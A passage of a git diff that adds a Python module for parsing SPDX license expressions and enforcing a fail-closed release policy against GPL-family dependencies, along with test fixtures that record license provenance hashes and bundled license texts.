+            json.dump(payload, sys.stdout, indent=2, sort_keys=True)
+            sys.stdout.write("\n")
+            return 0 if report.passed else 2
+        outputs = seal(
+            Path(args.report),
+            Path(args.wheel),
+            Path(args.sdist),
+            Path(args.evidence_root),
+            args.evidence_artifact_name,
+        )
+        write_github_output(outputs, destination)
+        json.dump(outputs, sys.stdout, indent=2, sort_keys=True)
+        sys.stdout.write("\n")
+        return 0
+    except (GateError, OSError) as error:
+        print(f"ERROR: {error}", file=sys.stderr)
+        return 2
+
+
+if __name__ == "__main__":  # pragma: no cover - exercised via main()
+    raise SystemExit(main())
diff --git a/scripts/ci/spdx_license_policy.py b/scripts/ci/spdx_license_policy.py
new file mode 100644
index 0000000000..16e2f8eabc
--- /dev/null
+++ b/scripts/ci/spdx_license_policy.py
@@ -0,0 +1,522 @@
+#!/usr/bin/env python3
+"""Parse SPDX license expressions and decide the organization's release policy.
+
+Issue #2342: the central pre-publish dependency gate must deny GPL, LGPL, and
+AGPL in *every* version and in both the ``-only`` and ``-or-later`` spellings,
+and it must reach that verdict by **parsing** the declared SPDX expression
+rather than by substring matching. ``MIT OR GPL-2.0-only`` and
+``GPL-2.0-only WITH Classpath-exception-2.0`` are different facts, and a
+substring scan for ``GPL`` cannot tell them apart from ``AGPL-3.0-only`` or
+from the perfectly permissive ``Apache-2.0``.
+
+The grammar implemented here is SPDX 2.3 Annex D, restricted to what a
+dependency declaration can legally contain::
+
+    expression   := or-expression
+    or-expression  := and-expression ( "OR" and-expression )*
+    and-expression := with-expression ( "AND" with-expression )*
+    with-expression := simple ( "WITH" idstring )?
+    simple       := idstring [ "+" ] | "(" expression ")"
+
+Policy, applied to the parsed tree and never to raw text:
+
+* every leaf in the GPL family (``GPL``/``LGPL``/``AGPL``, any version, any
+  suffix, with or without an exception) is denied;
+* every remaining leaf must appear in :data:`ALLOWED_LICENSE_IDENTIFIERS`;
+  ``LicenseRef-*``, ``NOASSERTION``, ``NONE``, ``UNKNOWN``, ``custom`` and any
+  other unrecognized identifier therefore fail closed rather than passing as an
+  unknown-but-probably-fine license;
+* ``AND`` propagates the first non-allowed operand, because a conjunction
+  imposes *every* operand's obligations;
+* ``OR`` never passes on its own. A dual-licensed dependency passes only when
+  the caller explicitly selects one non-denied operand and supplies a
+  rationale, which the gate copies into the artifact provenance.
+
+Substring matching *is* correct for bundled license **text**
+(:func:`scan_license_text`): a file containing "GNU GENERAL PUBLIC LICENSE" is
+GPL-licensed regardless of what the metadata claims.
+"""
+
+from __future__ import annotations
+
+import hashlib
+import re
+from dataclasses import dataclass
+from typing import Union
+
+#: Stable, machine-checkable failure codes. Callers assert on these, never on prose.
+LICENSE_DENIED_GPL = "LICENSE_DENIED_GPL"
+LICENSE_DENIED_LGPL = "LICENSE_DENIED_LGPL"
+LICENSE_DENIED_AGPL = "LICENSE_DENIED_AGPL"
+LICENSE_UNPARSEABLE = "LICENSE_UNPARSEABLE"
+LICENSE_UNRECOGNIZED = "LICENSE_UNRECOGNIZED"
+LICENSE_MISSING = "LICENSE_MISSING"
+LICENSE_SELECTION_REQUIRED = "LICENSE_SELECTION_REQUIRED"
+LICENSE_SELECTION_INVALID = "LICENSE_SELECTION_INVALID"
+LICENSE_TEXT_MISSING = "LICENSE_TEXT_MISSING"
+LICENSE_TEXT_UNVERIFIED = "LICENSE_TEXT_UNVERIFIED"
+
+_IDSTRING_RE = re.compile(r"[A-Za-z0-9.\-+]+")
+_VALID_IDSTRING_RE = re.compile(r"^[A-Za-z0-9.\-]+$")
+_GPL_FAMILY_RE = re.compile(r"^(AGPL|LGPL|GPL)(?:[-.].*)?$", re.IGNORECASE)
+_GPL_FAMILY_CODES = {
+    "AGPL": LICENSE_DENIED_AGPL,
+    "LGPL": LICENSE_DENIED_LGPL,
+    "GPL": LICENSE_DENIED_GPL,
+}
+
+#: Identifiers the organization accepts for a commercially redistributable release.
+ALLOWED_LICENSE_IDENTIFIERS: frozenset[str] = frozenset(
+    {
+        "0BSD",
+        "Apache-1.1",
+        "Apache-2.0",
+        "BSD-2-Clause",
+        "BSD-3-Clause",
+        "BSD-3-Clause-Clear",
+        "BSL-1.0",
+        "CC0-1.0",
+        "ISC",
+        "MIT",
+        "MIT-0",
+        "MPL-2.0",
+        "NCSA",
+        "PSF-2.0",
+        "PostgreSQL",
+        "Python-2.0",
+        "Python-2.0.1",
+        "Unicode-3.0",
+        "Unlicense",
+        "Zlib",
+    }
+)
+
+#: Exceptions that may qualify an already-allowed license identifier.
+ALLOWED_LICENSE_EXCEPTIONS: frozenset[str] = frozenset(
+    {"LLVM-exception", "Classpath-exception-2.0"}
+)
+
+#: Bundled-text markers, longest/most specific family first.
+_LICENSE_TEXT_MARKERS: tuple[tuple[str, str], ...] = (
+    ("GNU AFFERO GENERAL PUBLIC LICENSE", LICENSE_DENIED_AGPL),
+    ("GNU LESSER GENERAL PUBLIC LICENSE", LICENSE_DENIED_LGPL),
+    ("GNU LIBRARY GENERAL PUBLIC LICENSE", LICENSE_DENIED_LGPL),
+    ("GNU GENERAL PUBLIC LICENSE", LICENSE_DENIED_GPL),
+)
+
+#: Deliberately bounded evidence registry, NOT general SPDX text coverage.
+#: Source: repository LICENSE at 48caafec7160dd0cb9bafc58b28a884dc4c35cbb;
+#: raw SHA256 08f1fd81fb120bc468b69dc3e58ea0dc23c216305c766e45e107f56c76559e3f.
+#: Digest covers the ENTIRE text after ASCII layout-whitespace normalization.
+#: Additional complete artifact texts and provenance are pinned in
+#: tests/fixtures/release_license_texts/provenance.json. Every copyright/header
+#: is part of its exact digest. These are text recognitions, not whole-package
+#: approvals: missing declarations, other files and incomplete scope still HOLD.
+#: Any other text remains UNKNOWN, including unreviewed copyright variants.
+_VERIFIED_LICENSE_TEXT_DIGESTS: dict[str, frozenset[str]] = {
+    "f5ac0308cf2b3f96a0f49a8c0c9e4a2a02c483afc72a646af8de1f356983de06": frozenset({"MIT"}),
+    "25480d7a337b885c258cc7e7299af35c39a2d2e5e8ead3970a26b0e1a3cd2a3e": frozenset({"MIT"}),
+    "0ffddef9e48f8a09aed5caf2d44f7ba1c1be2d9b8e0a6f693b1635b2d5566645": frozenset({"Apache-2.0"}),
+    "a66ace7bb1d24a3290b823ae25fcd5f95fc5a3dd5af95c45dd77dc37ee593bcd": frozenset({"BSD-2-Clause"}),
+    "9384ef020bec4dca54f36ac8b293a41d0ff2ec0df4140b649d90edaa7bc242a5": frozenset({"BSD-3-Clause"}),
+    "121aea2578cd98e64faa0ca32acfd4f83551b1ecd293730a9541a4f5a37bf85c": frozenset({"ISC"}),
+    "3a31f72fe7c9baf376c3da1d7d0154366be8ef0bab0a3f7531db4c2abf1ad062": frozenset({"Zlib"}),
+    "2069c208cba553e43cd0b730df8a0c10bf1b1101b96f661e2f1307c73b9722e3": frozenset({"Unlicense"}),
+}
+
+#: Trove classifier to SPDX identifier, used when no PEP 639 expression exists.
+CLASSIFIER_TO_SPDX: dict[str, str] = {
+    "License :: CC0 1.0 Universal (CC0 1.0) Public Domain Dedication": "CC0-1.0",
+    "License :: OSI Approved :: Apache Software License": "Apache-2.0",
+    "License :: OSI Approved :: BSD License": "BSD-3-Clause",
+    "License :: OSI Approved :: Boost Software License 1.0 (BSL-1.0)": "BSL-1.0",
+    "License :: OSI Approved :: GNU Affero General Public License v3": "AGPL-3.0-only",
+    "License :: OSI Approved :: GNU General Public License v2 (GPLv2)": "GPL-2.0-only",
+    "License :: OSI Approved :: GNU General Public License v3 (GPLv3)": "GPL-3.0-only",
+    "License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)": (
+        "LGPL-3.0-only"
+    ),
+    "License :: OSI Approved :: ISC License (ISCL)": "ISC",
+    "License :: OSI Approved :: MIT License": "MIT",
+    "License :: OSI Approved :: MIT No Attribution License (MIT-0)": "MIT-0",
+    "License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0)": "MPL-2.0",
+    "License :: OSI Approved :: Python Software Foundation License": "PSF-2.0",
+    "License :: OSI Approved :: The Unlicense (Unlicense)": "Unlicense",
+    "License :: OSI Approved :: Zlib/libpng License": "Zlib",
+}
+
+
+class SpdxParseError(ValueError):
+    """Raised when a declared license expression is not valid SPDX."""
+
+
+@dataclass(frozen=True)
+class LicenseId:
+    """One SPDX license identifier, optionally carrying the legacy ``+`` suffix."""
+
+    identifier: str
+    or_later: bool = False
+
+
+@dataclass(frozen=True)
+class WithException:
+    """A license identifier qualified by an SPDX license exception."""
+
+    license: LicenseId
+    exception: str
+
+
+@dataclass(frozen=True)
+class Conjunction:
+    """An SPDX ``AND`` node; every operand's obligations apply simultaneously."""
+
+    operands: tuple["Node", ...]
+
+
+@dataclass(frozen=True)
+class Disjunction:
+    """An SPDX ``OR`` node; the licensee chooses exactly one operand."""
+
+    operands: tuple["Node", ...]
+
+
+Node = Union[LicenseId, WithException, Conjunction, Disjunction]
+
+
+@dataclass(frozen=True)
+class LicenseDecision:
+    """Fail-closed policy verdict for one declared license expression."""
+
+    allowed: bool
+    code: str
+    detail: str
+    selected: str | None = None
+    rationale: str | None = None
+
+
+def _tokenize(text: str) -> list[str]:
+    """Split an SPDX expression into identifier, operator, and parenthesis tokens."""
+
+    tokens: list[str] = []
+    index = 0
+    length = len(text)
+    while index < length:
+        character = text[index]
+        if character.isspace():
+            index += 1
+            continue
+        if character in "()":
+            tokens.append(character)
+            index += 1
+            continue
+        match = _IDSTRING_RE.match(text, index)
+        if match is None:
+            raise SpdxParseError(f"unexpected character {character!r} in license expression")
+        tokens.append(match.group(0))
+        index = match.end()
+    return tokens
+
+
+class _Parser:
+    """Recursive-descent parser over a tokenized SPDX license expression."""
+
+    def __init__(self, tokens: list[str]) -> None:
+        """Store the token stream and start at its first token."""
+        self._tokens = tokens
+        self._position = 0
+
+    def _peek(self) -> str | None:
+        """Return the current token without consuming it."""
+        if self._position >= len(self._tokens):
+            return None
+        return self._tokens[self._position]
+
+    def _next(self) -> str:
+        """Consume and return the current token, failing on a truncated expression."""
+        token = self._peek()
+        if token is None:
+            raise SpdxParseError("license expression ended unexpectedly")
+        self._position += 1
+        return token
+
+    def parse(self) -> Node:
+        """Parse a complete expression and reject trailing tokens."""
+        node = self._parse_or()
+        if self._peek() is not None:
+            raise SpdxParseError(f"unexpected trailing token {self._peek()!r}")
+        return node
+
+    def _parse_or(self) -> Node:
+        """Parse an ``OR`` chain."""
+        operands = [self._parse_and()]
+        while (token := self._peek()) is not None and token.upper() == "OR":
+            self._next()
+            operands.append(self._parse_and())
+        if len(operands) == 1:
+            return operands[0]
+        return Disjunction(tuple(operands))
+
+    def _parse_and(self) -> Node:
+        """Parse an ``AND`` chain."""
+        operands = [self._parse_with()]
+        while (token := self._peek()) is not None and token.upper() == "AND":
+            self._next()
+            operands.append(self._parse_with())
+        if len(operands) == 1:
+            return operands[0]
+        return Conjunction(tuple(operands))
+
+    def _parse_with(self) -> Node:
+        """Parse one simple term and an optional ``WITH`` exception."""
+        node = self._parse_simple()
+        token = self._peek()
+        if token is not None and token.upper() == "WITH":
+            self._next()
+            exception = self._next()
+            if not isinstance(node, LicenseId):
+                raise SpdxParseError("WITH must qualify a single license identifier")
+            if not _VALID_IDSTRING_RE.match(exception):
+                raise SpdxParseError(f"invalid license exception {exception!r}")
+            return WithException(node, exception)
+        return node
+
+    def _parse_simple(self) -> Node:
+        """Parse a parenthesized expression or a single license identifier."""
+        token = self._next()
+        if token == "(":
+            node = self._parse_or()
+            closing = self._next()
+            if closing != ")":
+                raise SpdxParseError("unbalanced parenthesis in license expression")
+            return node
+        if token == ")":
+            raise SpdxParseError("unbalanced parenthesis in license expression")
+        if token.upper() in {"AND", "OR", "WITH"}:
+            raise SpdxParseError(f"operator {token!r} used where a license was expected")
+        or_later = token.endswith("+")
+        identifier = token[:-1] if or_later else token
+        if not identifier or not _VALID_IDSTRING_RE.match(identifier):
+            raise SpdxParseError(f"invalid license identifier {token!r}")
+        return LicenseId(identifier, or_later)
+
+
+def parse_license_expression(text: str) -> Node:
+    """Parse an SPDX license expression into its operator tree."""
+
+    if not isinstance(text, str) or not text.strip():
+        raise SpdxParseError("license expression is empty")
+    tokens = _tokenize(text)
+    if not tokens:  # pragma: no cover - a non-blank string always yields a token
+        raise SpdxParseError("license expression is empty")
+    return _Parser(tokens).parse()
+
+
+def render_expression(node: Node) -> str:
+    """Render a parsed node back to canonical SPDX text for provenance records."""
+
+    if isinstance(node, LicenseId):
+        return node.identifier + ("+" if node.or_later else "")
+    if isinstance(node, WithException):
+        return f"{render_expression(node.license)} WITH {node.exception}"
+    if isinstance(node, Conjunction):
+        return " AND ".join(_render_operand(item) for item in node.operands)
+    return " OR ".join(_render_operand(item) for item in node.operands)
+
+
+def _render_operand(node: Node) -> str:
+    """Render one operand, parenthesizing nested compound nodes."""
+
+    rendered = render_expression(node)
+    if isinstance(node, (Conjunction, Disjunction)):
+        return f"({rendered})"
+    return rendered
+
+
+def classify_identifier(identifier: str) -> LicenseDecision:
+    """Decide policy for a single SPDX license identifier."""
+
+    family = _GPL_FAMILY_RE.match(identifier)
+    if family is not None:
+        code = _GPL_FAMILY_CODES[family.group(1).upper()]
+        return LicenseDecision(
+            allowed=False,
+            code=code,
+            detail=f"{identifier} is in the denied copyleft family",
+        )
+    if identifier in ALLOWED_LICENSE_IDENTIFIERS:
+        return LicenseDecision(
+            allowed=True,
+            code="LICENSE_ALLOWED",
+            detail=f"{identifier} is an allowed commercially usable license",
+            selected=identifier,
+        )
+    return LicenseDecision(
+        allowed=False,
+        code=LICENSE_UNRECOGNIZED,
+        detail=(
+            f"{identifier} is not an allowed identifier; unknown, custom, and "
+            "LicenseRef licenses fail closed"
+        ),
+    )
+
+
+def _evaluate_node(node: Node, selections: frozenset[str]) -> LicenseDecision:
+    """Evaluate one parsed node against the policy and the caller's selections."""
+
+    if isinstance(node, LicenseId):
+        return classify_identifier(node.identifier)
+    if isinstance(node, WithException):
+        base = classify_identifier(node.license.identifier)
+        if not base.allowed:
+            return base
+        if node.exception not in ALLOWED_LICENSE_EXCEPTIONS:
+            return LicenseDecision(
+                allowed=False,
+                code=LICENSE_UNRECOGNIZED,
+                detail=f"license exception {node.exception} is not recognized",
+            )
+        return LicenseDecision(
+            allowed=True,
+            code="LICENSE_ALLOWED",
+            detail=f"{render_expression(node)} is allowed",
+            selected=render_expression(node),
+        )
+    if isinstance(node, Conjunction):
+        for operand in node.operands:
+            decision = _evaluate_node(operand, selections)
+            if not decision.allowed:
+                return decision
+        return LicenseDecision(
+            allowed=True,
+            code="LICENSE_ALLOWED",
+            detail=f"every operand of {render_expression(node)} is allowed",
+            selected=render_expression(node),
+        )
+
+    rendered_operands = [render_expression(operand) for operand in node.operands]
+    if not selections:
+        return LicenseDecision(
+            allowed=False,
+            code=LICENSE_SELECTION_REQUIRED,
+            detail=(
+                f"dual-licensed expression {render_expression(node)} requires an "
+                "explicit selection with a recorded rationale"
+            ),
+        )
+    for operand, rendered in zip(node.operands, rendered_operands):
+        if rendered not in selections:
+            continue
+        decision = _evaluate_node(operand, selections)
+        if decision.allowed:
+            return LicenseDecision(
+                allowed=True,
+                code="LICENSE_ALLOWED",
+                detail=f"selected {rendered} from {render_expression(node)}",
+                selected=rendered,
+            )
+        return LicenseDecision(
+            allowed=False,
+            code=decision.code,
+            detail=f"selected operand {rendered} is not usable: {decision.detail}",
+        )
+    return LicenseDecision(
+        allowed=False,
+        code=LICENSE_SELECTION_INVALID,
+        detail=(
+            f"selection does not name any operand of {render_expression(node)}; "
+            f"operands are {sorted(rendered_operands)}"
+        ),
+    )
+
+
+def evaluate_license_expression(
+    text: str | None,
+    *,
+    selection: str | None = None,
+    rationale: str | None = None,
+) -> LicenseDecision:
+    """Return the fail-closed policy decision for one declared license expression."""
+
+    if text is None or not str(text).strip():
+        return LicenseDecision(
+            allowed=False,
+            code=LICENSE_MISSING,
+            detail="no license expression was declared",
+        )
+    normalized = str(text).strip()
+    if normalized.upper() in {"NOASSERTION", "NONE", "UNKNOWN", "CUSTOM"}:
+        return LicenseDecision(
+            allowed=False,
+            code=LICENSE_UNRECOGNIZED,
+            detail=f"{normalized} is not a usable license declaration",
+        )
+    try:
+        node = parse_license_expression(normalized)
+    except SpdxParseError as error:
+        return LicenseDecision(
+            allowed=False,
+            code=LICENSE_UNPARSEABLE,
+            detail=f"{normalized!r} is not a valid SPDX expression: {error}",
+        )
+    selections: frozenset[str] = frozenset()
+    if selection is not None and selection.strip():
+        if rationale is None or not rationale.strip():
+            return LicenseDecision(
+                allowed=False,
+                code=LICENSE_SELECTION_INVALID,
+                detail="a license selection requires a written rationale",
+            )
+        selections = frozenset({selection.strip()})
+    decision = _evaluate_node(node, selections)
+    if decision.allowed and selections:
+        return LicenseDecision(
+            allowed=True,
+            code=decision.code,
+            detail=decision.detail,
+            selected=decision.selected,
+            rationale=rationale,
+        )
+    return decision
+
+
+def scan_license_text(text: str) -> str | None:
+    """Return a denial code when bundled license text is GPL, LGPL, or AGPL."""
+
+    upper = text.upper()
+    for marker, code in _LICENSE_TEXT_MARKERS:
+        if marker in upper:
+            return code
+    return None
+
+
+def recognize_license_text(text: str) -> frozenset[str] | None:
+    """Return identifiers for a reviewed whole text, or None for unknown text.
+
+    This bounded registry does not infer license terms from SPDX declarations,
+    titles or permission fragments. Unsupported legitimate texts also remain
+    unverified; adding a license requires new whole-source evidence and tests.
+    """
+
+    # Full-text evidence, not a title/phrase classifier. Only ASCII layout
+    # whitespace is folded: no case folding, Unicode/control deletion, copyright
+    # stripping, prefix/suffix removal, or arbitrary header allowance. An extra
+    # condition anywhere therefore changes the digest and remains unverified.
+    normalized = re.sub(r"[ \t\r\n]+", " ", text).strip(" \t\r\n")
+    digest = hashlib.sha256(normalized.encode("utf-8")).hexdigest()
+    return _VERIFIED_LICENSE_TEXT_DIGESTS.get(digest)
+
+
+def spdx_from_classifiers(classifiers: list[str]) -> str | None:
+    """Return an SPDX expression derived from PyPI trove classifiers, if any."""
+
+    identifiers = [
+        CLASSIFIER_TO_SPDX[classifier]
+        for classifier in classifiers
+        if classifier in CLASSIFIER_TO_SPDX
+    ]
+    if not identifiers:
+        return None
+    unique = sorted(set(identifiers))
+    if len(unique) == 1:
+        return unique[0]
+    return " OR ".join(unique)
diff --git a/tests/fixtures/release_license_texts/provenance.json b/tests/fixtures/release_license_texts/provenance.json
new file mode 100644
index 0000000000..8202f82187
--- /dev/null
+++ b/tests/fixtures/release_license_texts/provenance.json
@@ -0,0 +1,79 @@
+[
+  {
+    "package": "foldhash@0.2.0",
+    "ecosystem": "cargo",
+    "artifact_filename": "foldhash-0.2.0.crate",
+    "artifact_sha256": "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb",
+    "member": "foldhash-0.2.0/LICENSE",
+    "raw_sha256": "b1181a40b2a7b25cf66fd01481713bc1005df082c53ef73e851e55071b102744",
+    "normalized_sha256": "3a31f72fe7c9baf376c3da1d7d0154366be8ef0bab0a3f7531db4c2abf1ad062",
+    "identifier": "Zlib",
+    "fixture": "foldhash-0.2.0.txt"
+  },
+  {
+    "package": "libloading@0.8.9",
+    "ecosystem": "cargo",
+    "artifact_filename": "libloading-0.8.9.crate",
+    "artifact_sha256": "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55",
+    "member": "libloading-0.8.9/LICENSE",
+    "raw_sha256": "b29f8b01452350c20dd1af16ef83b598fea3053578ccc1c7a0ef40e57be2620f",
+    "normalized_sha256": "121aea2578cd98e64faa0ca32acfd4f83551b1ecd293730a9541a4f5a37bf85c",
+    "identifier": "ISC",
+    "fixture": "libloading-0.8.9.txt"
+  },
+  {
+    "package": "numpy@0.29.0",
+    "ecosystem": "cargo",
+    "artifact_filename": "numpy-0.29.0.crate",
+    "artifact_sha256": "6a5b15d63a5ff39e378daed0e1340d3a5964703ea9712eb09a0dc66fade996f4",
+    "member": "numpy-0.29.0/LICENSE",
+    "raw_sha256": "57088c28c5ea50e729a06c3b04de70c41e496a5b753d75a744e2abbf60a2448f",
+    "normalized_sha256": "a66ace7bb1d24a3290b823ae25fcd5f95fc5a3dd5af95c45dd77dc37ee593bcd",
+    "identifier": "BSD-2-Clause",
+    "fixture": "numpy-0.29.0.txt"
+  },
+  {
+    "package": "atheris@3.1.0",
+    "ecosystem": "pypi",
+    "artifact_filename": "atheris-3.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl",
+    "artifact_sha256": "ec5e11f21a4c197fe91f7aea2b2de88e623c73a21fc07b105ac6329a1588457b",
+    "member": "atheris-3.1.0.dist-info/licenses/LICENSE",
+    "raw_sha256": "58d1e17ffe5109a7ae296caafcadfdbe6a7d176f0bc4ab01e12a689b0499d8bd",
+    "normalized_sha256": "0ffddef9e48f8a09aed5caf2d44f7ba1c1be2d9b8e0a6f693b1635b2d5566645",
+    "identifier": "Apache-2.0",
+    "fixture": "atheris-3.1.0.txt"
+  },
+  {
+    "package": "colorama@0.4.6",
+    "ecosystem": "pypi",
+    "artifact_filename": "colorama-0.4.6-py2.py3-none-any.whl",
+    "artifact_sha256": "4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6",
+    "member": "colorama-0.4.6.dist-info/licenses/LICENSE.txt",
+    "raw_sha256": "cac35c02686e5d04a5a7140bfb3b36e73aed496656e891102e428886d7930318",
+    "normalized_sha256": "9384ef020bec4dca54f36ac8b293a41d0ff2ec0df4140b649d90edaa7bc242a5",
+    "identifier": "BSD-3-Clause",
+    "fixture": "colorama-0.4.6.txt"
+  },
+  {
+    "package": "pytest@9.1.1",
+    "ecosystem": "pypi",
+    "artifact_filename": "pytest-9.1.1-py3-none-any.whl",
+    "artifact_sha256": "37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c",
+    "member": "pytest-9.1.1.dist-info/licenses/LICENSE",
+    "raw_sha256": "ca836a5f9ecca3b2f350230faa20a48fb8b145653b5568d784862df864706b9b",
+    "normalized_sha256": "25480d7a337b885c258cc7e7299af35c39a2d2e5e8ead3970a26b0e1a3cd2a3e",
+    "identifier": "MIT",
+    "fixture": "pytest-9.1.1.txt"
+  },
+  {
+    "package": "memchr@2.8.3",
+    "ecosystem": "cargo",
+    "artifact_filename": "memchr-2.8.3.crate",
+    "artifact_sha256": "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98",
+    "member": "memchr-2.8.3/UNLICENSE",
+    "raw_sha256": "7e12e5df4bae12cb21581ba157ced20e1986a0508dd10d0e8a4ab9a4cf94e85c",
+    "normalized_sha256": "2069c208cba553e43cd0b730df8a0c10bf1b1101b96f661e2f1307c73b9722e3",
+    "identifier": "Unlicense",
+    "fixture": "memchr-2.8.3-UNLICENSE.txt"
+  }
+]
diff --git a/tests/fixtures/release_license_texts/texts.json b/tests/fixtures/release_license_texts/texts.json
new file mode 100644
index 0000000000..e445a9fef7
--- /dev/null
+++ b/tests/fixtures/release_license_texts/texts.json
@@ -0,0 +1,9 @@
+{
+  "foldhash-0.2.0.txt": "Copyright (c) 2024 Orson Peters\n\nThis software is provided 'as-is', without any express or implied warranty. In\nno event will the authors be held liable for any damages arising from the use of\nthis software.\n\nPermission is granted to anyone to use this software for any purpose, including\ncommercial applications, and to alter it and redistribute it freely, subject to\nthe following restrictions:\n\n1. The origin of this software must not be misrepresented; you must not claim\n    that you wrote the original software. If you use this software in a product,\n    an acknowledgment in the product documentation would be appreciated but is\n    not required.\n\n2. Altered source versions must be plainly marked as such, and must not be\n    misrepresented as being the original software.\n\n3. This notice may not be removed or altered from any source distribution.",
+  "libloading-0.8.9.txt": "Copyright © 2015, Simonas Kazlauskas\n\nPermission to use, copy, modify, and/or distribute this software for any purpose with or without\nfee is hereby granted, provided that the above copyright notice and this permission notice appear\nin all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS\nSOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\nAUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\nNEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF\nTHIS SOFTWARE.\n",
+  "numpy-0.29.0.txt": "BSD 2-Clause License\n\nCopyright (c) 2017, Toshiki Teramura\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n",
+  "atheris-3.1.0.txt": "\n                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n       